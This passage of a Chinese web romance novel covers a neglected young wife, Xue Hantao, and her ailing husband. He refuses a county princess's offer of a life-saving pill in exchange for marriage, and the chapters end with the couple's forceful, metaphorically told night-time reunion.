阿凶不大情愿,结果主人告诉它今天带它出门,它精神起来,进食的时候将讨厌的菘菜也吃进了肚子里面。 用过膳后,薛含桃来到了温暖如春的书房里面挑画,跟着世子学画一段时间,她积累了不少画作。其中画的最好的一幅主人公是威风凛凛吓跑敌人的大黑狗,临摹最逼真的一幅是…世子说那是前朝大师之作,名九州定海图。 薛含桃仔细地将两幅画放进背篓里面,朝眼神哀怨的果儿姐姐挥挥手,和阿凶一起出了府门。 她要去的那间画坊和书阁相邻,距离比较远,一路走过去,果儿姐姐会觉得累。但薛含桃已经习惯了,她把走路当作锻炼自己身体的一种方式。 或许在她的潜意识里还有一个原因存在,由俭入奢易,由奢入俭难,要是自己回到原本的世界没有马车坐那可怎么办? 罗承武不远不近地跟在她的身后,看着前方的世子夫人走了半个时辰仍旧精神奕奕不见劳累,心里微有敬佩。 有贵妃姐姐和皇子外甥作靠山,还嫁给了他家世子,换作寻常人,早就膨胀地与天比高,不说横行霸道,起码也要有锦衣玉食香车鸾驾,挥手便是千银百金。 可世子夫人,骨子里仍是从前的她。似乎特意容易满足,吃穿用度从未有要求,除了进宫其他出门的时候都是用自己的两条腿。 不对,也还是有变化的,罗承武回想印象中的小姑娘,一直闷着头,身材瘦小,笑容也总是小心翼翼的。再看现在,她背着背篓,脑袋不再垂下来,背影舒展轻快,不时好奇地打量周围的人,笑着让大黑狗跟紧她…… 这一刻,别人眼中一向冷酷威严的罗承武面色变得柔和起来,明明天气在变冷,他却觉得和煦的春日快要到了。 前方走着的薛含桃并不知道严肃唬人的罗护卫心里会想这么多,她慢慢地认出熟悉的街道,眼睛骤然变亮。 再 经过一条街就到画坊了,卖画的价钱比卖书要高得多,也不知道今日她能赚多少银子。 “去去去,闲杂人等一律滚回路边,不得到街道中央。” “县主尊驾要从这处经过,尔等若有不识趣的胆敢冲撞冒犯,一律杖责。” “你,还有你,不想活了,还敢往前走,这边的路都不准过,必须等县主尊驾过去。” 走在路上的百姓包括薛含桃被一群突然出现的官兵呵斥着,推搡着,赶到了角落和边缘处。 民不与官斗,面对凶神恶煞的官兵,没有一个人敢反抗,像是温顺的小绵羊挤在一起。 薛含桃害怕自己和阿凶被挤开,急忙要把大黑狗放进背篓里面,可是阿凶吃胖了,背篓似乎盛不下它。 她着急地请求旁边人为她让出一点空间,然而所有人都畏惧着官兵,没有声音搭理她,反而见她是个姑娘,故意挤占她的位置。 阿凶见主人被挤,连声吼叫,结果迎来了官兵不悦的注目。 焦灼之际,罗承武和几个护卫露面,用一身蛮力隔开了拥挤的人群。 薛含桃终于站稳身体,惊魂未定地抱住大黑狗,朝罗承武几人道谢。然而,她的声音刚出口就被锣鼓喧天完全遮盖。 她下意识地看去,街道中间全部被清空,官兵们恭敬垂立,先出现的是几辆敞篷的马车,上面放着厚重的箱子,一旁有身着锦缎的仆人看守。 浩大的排场,彰显着主人身份的尊贵。 薛含桃默默地望着由两匹枣红色的大马拉着,周围各有十名仆人跟随的华顶鸾车经过,心道这位县主不知是谁。 小皇子满月宴那日,她见到了皇室的公主郡主们,她们身上都有一种贵气,但不像是有如此场面…… “恭迎仪静县主!” 一名官兵为薛含桃解了惑,听到仪静二字她恍然大悟,有一个可能被立为皇太弟的父亲,这位县主果然身份贵重。 没想到这么巧,薛含桃才在堂姐的宫里想起过这位仪静县主,今天就遇到了她的鸾驾。 天之骄女,应该不只是身份尊贵,旁的方方面面如学识如智慧如仪态等想必也凌驾于绝大多数人之上。 薛含桃失神的时候,鸾车停下了。 “我只是路过这处,不必兴师动众,让他们都离开吧。”伴随着夜莺婉转的声音,一名无法用言语形容其美丽的女子跃然出现在车驾之上,她的目光轻轻扫过四周,对着官兵们摆了下手。 “是,谨尊县主之意。” “县主宽和,你们都走吧。” “你,还有你,呆着做什么,县主何等贵人,你们能瞻仰到其真容已是三生有幸,居然还敢赖着不走。” 人群再次流动起来,这一次薛含桃没有被挤到。她随着旁边的人走了很久很久,直到大黑狗用牙齿咬住了她的裙摆,薛含桃忽然发现,原来自己越过了画坊。 她回过身,脑海中还停留着仪静县主高高站在车辕上的美丽与华贵。 虽然因为她被挤到了角落,但薛含桃觉得她是一个完美的女子。仪静县主声音悦耳,相貌秀美,姿态高贵,吩咐官兵让他们离去时更是……仿若温柔的神女啊。 走进画坊里面,用两幅画作换来了惊人的十五两银子,薛含桃却只有一点高兴。 就算变好了一些,她也还是太普通了。 背着空下来的背篓,少女垂下头,微带苦恼地思索,一株野草怎么样才能蜕变成令人惊叹的牡丹? 有可能吗?她想了又想,深深吐出一口气。 没可能的。 似乎感觉到了她低落的心情,大黑狗在经过肉铺的时候嗷呜喊了一声。 薛含桃呆呆地看向肉铺,蓦然清醒,说好不生出妄想的,她和阿凶现在能过上安稳的好日子,已经很幸运了。 少女摸了摸鼓鼓的荷包,走进去买了肥瘦相间的肉还买了骨头。 特意寻到卖烤栗子的地方,她大方地买了许多,差一点就把背篓装满了。 “世子的福币还是留着吧,万一真的有福气在,希望可以保佑世子无病无痛。”薛含桃将锦囊藏在了背篓的最深处,嘀嘀咕咕和阿凶说着话。 然后,她的脸上和手背忽然一凉。 抬起头,薛含桃发现,下雪了。 “夫人,我们快些回去。”这时,罗承武的脸色异常难看。 薛含桃点点头,加快了脚步。 可是越是急切,上天就仿佛越是要和她开玩笑。在经过一条街道时,一辆飞驰而过的马车往她的衣服上溅出许多泥点。 她擦了擦同样有泥点的脸,养白一些的肌肤也变得灰扑扑的,总之,很狼狈。 无法入目。 好在回去东院后,她可以换上一身干净清爽的衣服,再认真地把脸洗干净,所以薛含桃并不沮丧,只是脚步更快一些。 快了,快了,她看到了定国公府的大门。雪势不算太大,路面只有薄薄的一层白色,以及几道车辙。 是世子的马车,他回来了。 薛含桃有些开心,自己背篓里面的烤栗子还热着,她小跑着过去,想唤世子。 马车里面的人露出了身影,模样她并不陌生。 正是,一个时辰前她在人群中瞻仰过的仪静县主,仪态万方,美丽非凡。 薛含桃的脚步停了下来,一脸茫然地站在原地,有两匹黑色的马,四角有汉白玉,这不是世子的马车吗? 而仪静县主的鸾车用的是枣红色的马,车辕还特别高,只能让人仰望。 “夫人,我们快入府吧,雪越下越大了。”罗承武上前提醒她,大黑狗也咬住她的衣袖往里去。 薛含桃如梦初醒,一寸一寸地垂下脑袋,安静地走了进去。 转身的那瞬间,她看到了世子也从马车中缓慢地下来。【魔蝎小说 mo xie xs .c om】 40-50 第41章 第四十一章那就去死吧。 雪花由小及大,带着森凉的寒意,轻轻飘飘地从空中落下。 崔伯翀平静地拂去肩膀上的雪花,手背的青筋暴起,扭曲丑陋的模样仿佛一条条蜿蜒的毒蛇。 韩璞随后迈出车厢,看见他沉到可怕的眸色,心中既愤怒又觉心酸。他知晓面前的人看似云淡风轻但实际上又在忍耐着怎样的痛苦。 孙医圣同他们大致描述过,因为世子的心脉只是暂时被丹药护住,天气热还好一些,天冷下雪的时候,寒冷会侵入到骨髓的每一处,压制活性,身体便会本能地调动所有,这种感觉无异于分筋错骨,剥皮剃肉。 一颗丹药能续命三年,现在时间快要到了,结果他们找了三年也没能将丹方上的药找齐。 韩璞和其他人都以为没有法子了,不过好在天无绝路,这一场雪是吉非祸。 他暗含激动地看向一旁白璧无瑕的仪静县主,谁能想见晋王找到了昔年孙医圣赠出去的一枚丹药,如今这枚丹药就在仪静县主的手中! 韩璞回京途中恰好与仪静县主同行,得知这个消息后,直接请仪静县主与世子相见。无论什么条件,他们都可以商量。 仪静县主果然不愧其美名,听说进了都城后连家门都没进,只让亲信把她放在了枢密院的门口。 可枢密院终究人多眼杂,韩璞只好忍着兴奋同世子说有一位贵客要引荐给他。 这才有他们一同乘着马车出现在定国公府门口的场景。 除了他和世子,仪静县主的身边还跟着一位晋王府的女史。 这位殷女史最后从车厢中出来,原来是自己用茶壶和绸布包了一个简单的手炉。 “望世子见谅,我家县主身体娇贵,受不得冻。”殷女史边说着边瞧了一眼崔世子的衣袖,那里就有一只手炉。 虽然 看起来普普通通,但总比茶壶包着绸布好得多。 崔伯翀仿若未闻,握着手炉走在最前方,这已经是看在韩璞的面子上,否则他在知晓所谓贵客是晋王之女的时候就会冷脸走人。 今日早朝,他上奏驳斥了薛贵妃身份低微的言论。下了朝,又多出一个晋王之女,麻烦。 而且,下雪了。 崔伯翀的体内有一种毁灭掉一切的暴躁,他迫切地需要发泄,需要缓解,需要…吞噬血肉。 “县主确实要小心受寒,不如先行入府到世子的书房。那里年年通着炭火,舒适极了。”韩璞对仪静县主的态度十分殷勤,恨不得把自己身上的外袍都脱下来给她。 当然这是不可能的,仪静县主冰清玉洁身份高贵,还未嫁人呢。 “无妨,我在晋地也不是没有见过雪。”赵柔望着前方轩昂的男子身影,语气就和她的名字一般,温柔似水。 她早已在万千的欢呼声中见过他,也知道他身上遭受过的一切,她会为他续命,带他走出黑暗的泥潭。 父王寻到那枚丹药的时刻,便已注定他们会在一起。没有任何一个人可以拒绝生的可能,即便只是短暂的三年。 因为只要活着就有无限的可能。 赵柔微笑着走进了这座府邸,根本没有把她下车时看到的薛含桃放在眼中。 一个普通的灰头土脸的女子,或许只是府中的侍女- 薛含桃一声不吭地回到东院,放下背篓,果儿看到她的模样发出了一声惊呼。 “娘子,您怎么弄成这副模样,身上有雪还有泥,头发也湿了。不行,得赶紧准备热水沐浴,不然就受冻了。”果儿着急地吩咐人抬水,又用帕子给她擦脸。 见她小脸冻的没有一丝血色,果儿颇为心疼,“娘子,叫我说,您就不要折腾了。贵妃娘娘给您的东西,还有您的嫁妆,全都原封不动的在库房里面放着。您随便拿出一件就能吃香喝辣…” “要还的,用了还不起就走不掉了。”薛含桃抬眼,眸中尽是无措,“欠了别人就要偿还。” “好好好,要还。”果儿嘴里不满地嘟囔着,服侍她脱了衣裙。 渐渐地,一具玲珑的躯体在热气中展露出来,上面靡艳的痕迹让房中的侍女们都红了脸。 果儿也不敢再看,将热水舀在她的身上。 薛含桃足足在浴桶中待了两刻钟,像是失去了魂魄的木人,明明手脚都已经回暖,她的脸色还是很白。 这下,果儿发现了不对,旁敲侧击是不是发生了事情。 “我的画都卖出去了,十五两银子,只用一两就买回了一背篓的烤栗子。我又加钱让人刷了一层蜂蜜,蜂蜜闻着就很甜。我还买了五花肉和骨头,荷包里面剩下的银子能花很久。”她一句一句地说道,眼睛中又有了神采。 今天发生的全都是好事,一场雪而已不会有影响。 仪静县主就是世子口中的故友吧?和世子坐在同一辆马车上来到府里,再正常不过了。 或许她还要留下来用膳,厨房应该要做准备吧?那今天买的东西不就能派上用场了? “烤栗子要趁热才好吃。”薛含桃念叨着一句话,一穿上干净的衣服就开始挑拣栗子,个头大的闻着香的放在一个碟子里面。 她颇不好意思地将装着烤栗子的碟子给了玉蘅,并不敢靠近书房。 实际上,今日的书房玉蘅也不能靠近,似乎是那位姓韩的将军吩咐,只有方管事才有资格守在外面。 玉蘅犹豫了一瞬,思及夫人还算受世子的宠爱,默默地端着一碟烤栗子走近书房。 她先说了这是夫人的安排,接着递给方管事,然而,方振并未搭理她,目光以及所有的注意力都在面前的书房。 即便玉蘅提到了与他关系更好的夫人,在他回神的瞬间也被用脸色严厉地逼退。 玉蘅惊吓之余手臂晃动,刷着蜂蜜的栗子一个个滚落在了雪地里面,没有人去捡,直到凉透。 书房里面,果然很温暖。 在仪静县主拿出那枚丹药时,韩璞体内的血液几乎沸腾起来,这就是他们日寻夜寻救命的东西。 就连崔伯翀,在丹药放在他面前时,平静沉底的眼神也出现了波动。 身体的疼痛与躁动仿佛在这一刻停止,只要吃下这枚丹药,他还可以再活三年,不再是无望的,他就有时间再去寻找下一个三年。 三年又三年,就像一潭死水重新注入了活力。 他掀开眼皮,看清拿着丹药的女子,冷静地问她,“你的条件。” 没有无缘无故地赠予,只有互相利益的交换,在场的人每一个都明白这一点。 赵柔当即垂下了颈子,向对面的人展示她红透的耳尖。 “崔世子,这枚丹药是我家王爷花费了无数的人力物力寻来,您也知道它有多么重要,可以护住一个将死之人的心脉啊。”殷女史将晋王抬了出来,重点描述了找寻丹药的艰辛,接着又道,“可是我家县主知道有一个人比王爷更需要它,世子,县主在王爷的跟前跪了整整三天才得到了一句准话。” “这枚丹药可以给崔世子,但它只能当作县主的嫁妆。” 晋王要崔伯翀娶仪静县主,或许还不止如此,推翻对小皇子的支持,转而奉晋王为皇太弟,皇帝。 不然这一枚丹药如何就在小皇子出生以后拿出来了呢,那是看眼下的形势不好,所以仪静县主一提出这个建议,晋王就应了。 “嫁给世子?可是世子已经娶妻了啊,还是陛下赐婚。”韩璞听到这里,兴奋的神色有所收敛,若是与现在的世子夫人和离,陛下肯定会问罪世子。 “这是王爷的意思,且我家县主绝不可能为人妾。”殷女史不以为意,世子夫人虽是薛贵妃的妹妹,“但到底身份卑微,连父母兄弟都无。” 殷女史的神色异常笃定,一个女人和续命的丹药相比,孰轻孰重只要不傻都能分清。 “是啊,只是个农女……本也配不上世子。”韩璞咽了咽口水,知晓不地道还是将话说了出来,“要不,让她主动提出和离?反正当初是陛下硬塞过来。” 话罢,他包括殷女史都看向阖下了眼皮的男子,心道一个被皇帝硬塞过来的农女,嫁过来才短短两月,世子的答案应该显而易见。 崔伯翀漫不经心地抚了抚手腕,开口叫来了守在外面的方振,只说了两个字。 “送客。” 趁他还有理智的时候,趁他顾及同袍情谊的时候,趁他不对女子动火的时候,离开这里。 看到他冷漠的反应,赵柔终于忍耐不住,抬起头,不敢置信地询问。 “难道,世子就情愿等死吗?” 为什么不愿意变回从前那个耀眼夺目的崔世子,多么风光,受万人敬仰,高高地骑在马背上意气风发,而不是现在冰冷沉默的样子。 天地间最无可指责的就是人求生的本能,活着难道不比任何事重要? “仪静县主拿出的东西的确令我心动。但可惜,我们的交易无法达成。所以,送客。” 崔伯翀的手指捏着小小的手炉,目光随便扫过一眼,再次说送客。 “如果世子不忍心这么对待那姓薛的女子,留她做一个妾室也并非不可。”赵柔深吸一口气,声音哽咽。 只要他娶她,爱她,敬她,帮助她的父亲登上皇位,作为天之骄女的她愿意接受这个委屈。 “世子你看啊,这是可以续命的丹药,吃了它你便能活下去。”她再次拿出乌黑的药丸,不信他能坚定地拒绝生的可能。 崔伯翀盯着丹药瞳孔骤缩,但只是短暂的一瞬,他扔掉不再温暖的手炉,轻声笑了起来。 他说,“活不了,那就去死吧。” 第42章 第四十二章不需要她了。 仪静县主红着眼眶从书房跑开,带走了可以续命的丹药。 韩璞焦急不已,有心挽留,结果得到了殷女史的怒目而视。韩璞能理解殷女史的愤怒,毕竟丹药是县主从晋王那里跪求来的,如今她又不惜冒着风雪前来,然而却被世子无情拒绝。 一颗芳心可以说碾落成泥。 殷女史自然觉得她家县主受到了冒犯,跟随仪静县主而去。 但即便场面变成现在这样,韩璞还是不愿意放弃,想着寻找转机。或许有个人能够说服世子,或许仪静县主突然改变条件。 不过,前提是他们不能得罪县主,韩璞来回转了一圈连忙道,“世子,仪静县主乘着您的马车前来,如今她就这么走了,雪这么大…能否让卑职用世子的马车送她回晋王府。” “方振,带他去。”崔伯翀脸上的笑容还未散去,虽是笑着的,但却流露一丝血腥气。 韩璞恍惚间觉得他们正身在战场上笑饮敌人血,他嘴唇翕动,“世子,我等兄弟无不希望您能活着,哪怕用我们的命来换。” 所以不要怪罪他的无礼,他的莽撞。 “我知道。”但这是他的选择,没有任何人可以撼动。 崔伯翀面无表情地看着身前一脸忠厚的男子,又一次给出了他的答案。 他想要的是鲜活的、不屈不饶的生命力,可以温暖他冰冷的躯体,可以唤醒他已经死寂的渴望,可以平复他心头的躁动。 而不是吃下一枚丹药,又三年腐烂的无趣的活着。 韩璞也走了。 书房内,崔伯翀打开了窗户,顷刻间风雪呼啸而至,这一次飘进来的不再是黄色的小花。 白色的雪花争先恐后地落在他的身上,往日修长匀称的指骨扣在窗棂,愈发狰狞。 忽然,他像是在满天的雪地中发现了什么,微有踉跄地走了出去。 崔伯翀捡到了一颗冻僵的“石头”,圆圆的个头很大,手指用力,“石头”的外壳脱落。 哦,原来是烤好的栗子,咀嚼的时候带着甜味,想来是刷了一层蜂蜜。 胃部的稍许满足感将他唤醒,他开始疯狂地在雪地中寻找更多的“石头”。 虽然它毫不起眼,但吃下去却很甜- 宽敞暖和的正房内,薛含桃在数银子,数福币,一遍又一遍,仿佛这样就能令她开心起来。 果儿终于知道了她的异样从何而来,今日,世子的书房迎入了一位娇贵的客人,她离开的时候许多人都看到了她的真容。 据住到她房里的小丫鬟说,那位客人生的好似院中粉色的芍药花,高贵娇柔,必定来历不凡。 还有人亲眼看到,娇客行至府门时,方管事和另一个不知名的客人热情地使用世子的马车送她归家。 “娘子,您的绘画是世子教的,如今卖了出去。您不妨去一趟书房,告诉世子您今日卖画赚了许多钱。”听了传言,果儿的心里很没着落,但她可是娘子的身边人,撑也要撑一个场面,若无其事地劝说薛含桃去见崔世子。 果儿想娘子身上的痕迹总不是假的,只要见到世子,重聚在一起,两人定会和好如初。 然而他们之间根本就未发生矛盾,而且世子也早就告诉过她,若是画作卖出去……薛含桃摇头,小声说,“果儿姐姐,我以后不能再去世子的书房了。” 书房应该是东院最重要的地方吧,不然堂姐不会在她每次进宫的时候都询问她,她想,以后不去了也好。 世子要在书房会客,处理隐秘的信件,她在那里一定会打扰到世子,打扰到世子的……客人。 “果儿姐姐,我买的肉和骨头送去厨房了吗?”薛含桃想到书房里尊贵的客人,心里庆幸,今日下雪厨房很难采买,她刚好就买了新鲜的肉和骨头,说不定能帮到一点小小的忙。 “送了,都送了。厨房以为娘子要吃,所以做了酱肉和骨头汤,再配上鲜嫩的菘菜和蛋丝饼,一会儿就送过来了。”果儿如实回答。 “不不不,不是我吃,还是送到书房去吧,下雪天喝热腾腾的骨头汤,能驱寒。”薛含桃连忙摆手,笑容真诚。 再加上香甜可口的烤栗子,应该不寒酸吧。 “娘子,客人已经离开了。”果儿的声调低下来,“方管事亲自去送的。” “不需要了啊,那我…自己吃。”银子分成了一小堆,福币则是摆的整整齐齐,薛含桃一样一样地装起来,眉眼认真,“不能浪费。” 实在吃不完可以分出去,虽然方大哥纠正过那叫作赏。 酱肉咸香,骨头汤浓郁,菘菜和蛋丝饼的味道也都很好,薛含桃吃的头也不抬,就算分出去了份量还有不少,她努力地吃啊吃啊,却怎么也吃不完。 “娘子,您若吃不下去就别吃了,只剩一碗汤而已。”果儿在一旁看着不是滋味,硬是把最后一碗骨头汤自己喝了下去。 “是有些多,果儿姐姐,你别忘记吃山楂,可以消食。”薛含桃朝着她笑笑,控制不住地打了一个饱嗝。 …… 一整个下午,她都老老实实地待在房间里面,大黑狗陪着她,一人一狗用剩下的烤栗子玩起了游戏。 薛含桃从没觉得时间会过的这么慢,玩的满头大汗,天色居然还亮着。 她想了想,拿出笔墨开始抄写《金刚经》,总是作画,下笔的时候险些出错。好在她马上就改了过来,进入到了状态。 这一夜,薛含桃一个人躺在了床榻上。她有些怕黑,没有把帷幔放下,自己缩成一小团慢慢地睡着了。 清晨她醒来,床榻间的被褥仿佛没有被人动过,呆愣坐了一会儿,她很快接受了世子或许也不需要她再陪睡的现实。 薛含桃又去抄写了半个时辰的《金刚经》,然后给陶罐浇水施肥,叫来阿凶,再之后她和院中的侍女一起扫雪,出了更多的汗水。 院子里面的雪被全部扫干净,很快,太阳也就出来了,还是很冷,但聊以慰藉。 中午的时候,柔仪殿的宫人奉薛贵妃的口谕送来了一整只处理干净的山羊,还有一箱子御寒的皮毛。 来人正是胡茵儿,她看到薛含桃的时候满脸喜气,夸赞贵妃娘娘有一个体贴的好妹妹。 薛含桃有些迷茫有些害羞地笑笑,她并不知道朝堂和后宫发生的事情。 “二娘子,多亏您在崔世子的面前进言,昨日早朝世子一封奏章过后再没人敢对贵妃娘娘的出身指指点点,也不再提让小皇子认中宫为母。娘娘说这都是您的功劳,昨日有雪出不了宫,这不,今天能出宫了,娘娘就让我等送来些东西,现在的羊肉最是鲜嫩,二娘子可以和世子一起吃披霞供。” 胡茵儿笑容满面地说了一大通,薛含桃明白了其中缘故,脸颊忽然涨的通红,她确实在世子的面前进言了,但,但是…… “披霞供是什么?”她忍着羞耻问了一句话。 胡茵儿脸上的笑容一僵,看着四周都没人说话,耐心与她讲解了一番。 闻言,薛含桃似懂非懂地点点头,“那我今日就吃披霞供,胡姑姑,你要一起吗?羊肉好吃。” “不了,多谢二娘子好意,眼下就得回宫。”胡茵儿有意想问崔世子在何处,但看面前的少女已经专心致志地观察起红嫩的羊肉,只好作罢。 不过离去的时候,她还是颇有心机地找到了果儿,问她薛含桃在定国公府的处境。 果儿面对管教过她的胡姑姑,有些紧张,是以露出了几分端倪,“娘子吃穿用度自是都好的,世子对娘子…也好。” 从前宠爱,可这两日忽然就不见人,像是遗忘了娘子。 胡茵儿瞧在眼中,不经意地说道若有事情尽可找贵妃娘娘帮忙,姐妹互帮互助才是正理。 果儿长叹了一口气,“天下所有的男人都是一般,能帮什么呢?” 男人……听到这里,胡茵儿便明白了,崔世子的身边大概要有别的女子,据说他之前就有个十分宠爱的小侍。 这等事贵妃娘娘确实也没办法,她只好让果儿多宽二娘子的心,“唯有生下一个孩子,地位才稳。” 唉,偏偏二娘子的身体受损严重,眼下确实怀不上。 果儿垂头丧气地送走了柔仪殿的宫人,等回到正院,她忽然发现了一点不对,怎么不 见玉蘅了? 玉蘅不是自诩是方管事之下世子最信任的人,宫里来人她居然不露面。 果儿疑惑着去找她,结果没找到玉蘅却找到了方振。 “她这几日都会在世子的书房服侍,或许过段时间你就能见到她。夫人这边,你多照看。”方振似乎有急事,简单应了果儿一句话,头也不回地离开。 果儿见他离去的方向,也是世子的书房。 她鼓起一口气,叫住了人,“方管事,娘子这两日都没见过世子,不如让娘子到书房和世子一同用膳吧,贵妃娘娘送来了些新鲜羊肉,可以做披霞供。” “不行。世子下令,除了我和玉蘅,旁人全都不得靠近。”方振没有回头,语气就和他的背影一般冷漠。 果儿愣了一下,回过神人已经走远了。 “娘子是世子的夫人,怎么就是旁人了?方管事对娘子从前多亲近呀,亏一口一个方大哥的叫着。”她边想边气,恨恨地跺了下脚。 然而,转过身,她口中的娘子就像一具雪人,苍白又沉默地站在不远处。 “娘子,您听到了?”果儿呼吸一停,后悔起来,叫她多话! “刚才…看到方大哥,我想托他把这个给世子。”薛含桃默默地抱着一件红色的狐裘,颜色似火,摸起来也暖融融。 她从堂姐送来的箱子里第一眼就看中了它,知道世子怕冷,所以想给他。 可是,原来自己见不到他。还有,方大哥脚步匆匆肯定是因为有急事,自己不要打扰为好。 “娘子,我们去吃披霞供吧,也让阿凶吃,它没吃过。”果儿觉得她和娘子一起被冷落了,或许就像胡姑姑说的,这是没有办法的事,人人都会喜新厌旧。 她心里难受,知道娘子的心里比她更难受,所以费尽心思地转移注意力。 “不止阿凶,我也没吃过。”薛含桃诚实地开口,可能明白有些丢脸,她笑的很大声。 “羊肉很贵,我以前都买不起。” “今天一定要吃很多,幸亏天气冷了吃不完也不会坏掉。” “其实……也想让世子尝尝,不过世子在书房很忙,不能吵到他。” 她会老老实实,本本分分地做回一根野草,一颗野桃,需要的时候奉献出甜蜜与温暖,不需要的时候安静地待在角落。 第43章 第四十三章“世子快要死了。”…… 披霞供十分美味,薛含桃吃完以后一只小嘴红艳艳,脸上的笑意都多了不少。 虽然世子已经不再需要她,但她的身边有阿凶有果儿姐姐,吃穿不愁,抄书之外又多了一个赚钱的生计,比起从前很满足了。 羊肉性热,为她驱逐了寒气,同时也让她酣畅淋漓地流了许多汗水。 接连三日,披霞供吃了一次又一次,薛含桃体内的寒气已经消失地无影无踪,她也不再期盼身旁空着的被褥多出一个人。 世子对她很好啊,就算不再需要她了也没将她赶出去,而是把整五间的正房留给了她。 比她先前设想的一间小屋好太多了。 薛含桃知道自己要投木报琼,因此并未忘记每日给世子的补汤。书房成为禁地拒绝她的靠近,她就默默地用世子常用的白瓷盛出来,然后放在厨房最显眼的位置。 哪怕补汤没有被动过,她还是照做。 她一直记得方大哥拿出种子时说过的话,世子身上有疾,种子开花便有法子医治。现在种子只是长出叶子,不知何时能开花,这段时间薛含桃觉得世子应该多补一补身体。 故而,她蹩脚地演了一场戏,以自己补气血为借口拉上崔世子一起。 只是,世子不需要她,也不需要她的补汤了。 薛含桃不知第几次地倒掉冷凝成块的补汤,将那只白玉瓷碗洗的干干净净,咕哝一声,“浪费。” “娘子,要不下次还是不要放了吧?”几日下来,果儿也死心了,明明书房距离娘子住的地方只几道院墙,但她们愣是连世子的一面都见不到。 是了,宫里有些妃嫔住的寝殿离陛下的寝殿也不远啊,还不是几年十几年见不到圣颜。 果儿猜测书房那一圈的院落房子应该住进了新人,顾及娘子是陛下赐婚,所以聪明地不让她们出现。 闻言,薛含桃只是笑笑,不回答果儿,万一呢,万一世子就想喝了呢,什么都不做她心里会觉得羞愧。 她欠世子太多了。 可惜她小心保存的桂花已经用完,不然还可以做银霜糕放在这里,要不去府外买些桂花回来?刚好自己又抄完了一本《金刚经》,可以送去书阁。 脑海中盘旋着这个念头,她跪坐在榻上,仔细地将被褥铺整齐,每一个角落都不放过,哪怕她的身躯就只占用极少极少的边缘。 天色暗了,阿凶也回去了自己的窝,少女规规矩矩地躺下,依旧没有放下帷幔,一点一点沉入梦乡。 今晚是有月光的,感受到一些明亮,薛含桃可以睡地很踏实。 只是睡着睡着,她的眉忽然皱成一团,指尖也不由攥紧被子。鼻尖萦绕着的血腥气和一种强烈地被注目感,让她觉得自己全身上下被一头凶戾的野兽盯上了。 长了些肉的桃子不再是干巴巴的,变成了野兽饱腹的食物。 它的一只利爪按住她,饶有兴趣地凑近嗅闻,像是在思考从哪里吃掉才最美味。 薛含桃吓得呜咽一声,急忙睁开了眼睛,她告诉自己这是梦,只要醒来就不必害怕。 然而就在她睁开眼睛的那一瞬间,一道身影比她更快,坚硬有力的手掌捂住她的眼睛。 愈加浓重的血腥气扑鼻而来,伴随着帷幔被撕落的声音,牢牢地将她困在密不透风的方寸之地。 薛含桃茫然地张了张唇瓣,她记起了这头凶兽身上的气味,刚想唤他,唇舌就被狠狠地攫夺,噬咬,吸吮。 野兽找到了最适合下口的地方,也尝到了桃子的香甜,于是探出他的利爪,死死地往回收缩,要这颗桃子完完全全只待在他的怀中。 骨肉融进他的躯体里面,减轻他的疼痛,抚慰他的冰冷。 “呜……”只几下,桃子就被逼到了绝境,眼泪、汗珠、沾染上的血迹将桃子光滑的表面弄得乱糟糟。 然后,野兽的兴致更加高昂,他抓着这颗本能想要逃走的桃子,从头到脚地吃进肚子里面。 不够,也还是不够的。 于是,他的手臂微微用了些力气箍紧,尖利的牙齿也不甘示弱,找寻到能分泌桃汁的地方径直咬下。 桃子接受了比从前更为残酷的命运,抽泣,哀鸣,最后只得用残存的一点果肉轻轻地触碰野兽的眼尾。 桃子小声地请求,“不要急…慢一点…我一直都在这里…” 桃子一直安静地待在角落,没有偿还掉所有的恩情,怎么敢离开- 阳光照在眼皮上的感觉刺痛,薛含桃动了动手指,没能坐起身,反而更深地沉入被褥中。 她的身上压着一座沉重的高山。 薛含桃愣愣地望着被撕扯的七零八落的帷幔,后知后觉地发出声音。 “世,世子。” 嗓音是被肆意摆弄过的沙哑,只能听到一点点模糊不清的声调。 没人理会她,野兽心满意足地抱着抓来的桃子在沉睡,为了不让桃子跑掉,他至始至终都没有从桃子的身体里面离开过。 少女逐渐也发现了这一点,难耐地蜷起脚趾,眼神迷离涣散。 桃子会坏掉吧,一定会吧。 她艰难地扭头看去,他如画的眉眼舒展开来,近在咫尺,可她被困住怎么也触碰不到。 闭着的眉眼是愉悦的,满足的,但 凹陷的脸颊和被血迹染红的薄唇异常冷峻骇人。 这一刻的崔世子不是神明,不是人,更像是她梦中凶残的野兽。 只想着粗暴地杀戮,没有丝毫温情。 见不到世子的这几日,究竟发生了什么啊? 薛含桃吸了吸鼻子,忽然有些难过,血腥气这么重,世子一定是受伤了。 他的伤在什么地方?她努力地抽出自己的胳膊,想要查看,却是白费功夫。 然而这时,房屋外面传来了急躁的脚步声,还有方大哥的声音。 他询问,世子有没有在这里。 薛含桃用尽所有力气回答他,微不可闻的一声“是。” 世子就在这里,满身的血腥气,他还消瘦了许多。 片刻后,脚步声重新响了起来,这次是离开的声音。之后便是长久的寂静,中途薛含桃隐约听到了阿凶的一声狗叫,可是很快就消散在空气中,让她恍惚以为是自己的幻觉。 这一方天地似乎被人遗忘了,只留下她和世子依偎在一起的躯体。 薛含桃动弹不得,加上体力耗尽,慢慢地又睡了过去。 再次睁开眼睛已经是晚上,房中燃着蜡烛,月光洒在窗边。她坐起身,血腥气变作了干爽的香气,还没出声,崔世子穿着一袭墨色衣袍朝她走过来。 “我让你买的烤栗子呢?睡了这么久是不是想拖着赖过去?” “还有这本《金刚经》,小桃子,你能否为我解释一下,怎么其中的笔迹有我的影子?” 两个问题猝不及防地向懵懂的桃子冲击,她张了张唇瓣,已经可以发出声音了,但愣是一个字不敢说。 眼前的人是幻觉吗?一直浓郁萦绕在鼻尖的血腥气也是假的吗? 一双手颤抖着捂住自己的眼睛,可很快就被挪开,薛含桃听到他夹杂着嘲弄的一声轻笑,“以为装作看不到就能糊弄过去,你真是越来越不老实了。” “我…我,烤栗子吃掉了,书也是随便抄抄,看错了,一定是看错了。”她结结巴巴地解释,也像是在说服自己。 看错了。 崔伯翀静静地俯视她,不说话,看着她小心翼翼地伸手过来,扯了扯他的袖子,碰了碰他的手指,终于回神一般光着脚从榻上下来抱住他的腰。 “我说过,我会一直在这里。”薛含桃兴奋地忘记了身上所有的不适,说两幅画作卖了十五两银子,说买的烤栗子刷了蜂蜜,说谢谢他对堂姐的帮忙,说她吃了很多顿的披霞供…… 她很高兴,似乎笼罩在她头上的阴霾散去了。 崔伯翀也跟着笑了,只是他的笑意有几分玩味,“听起来这几日你过的很好。” 没有他,桃子并不会枯萎。 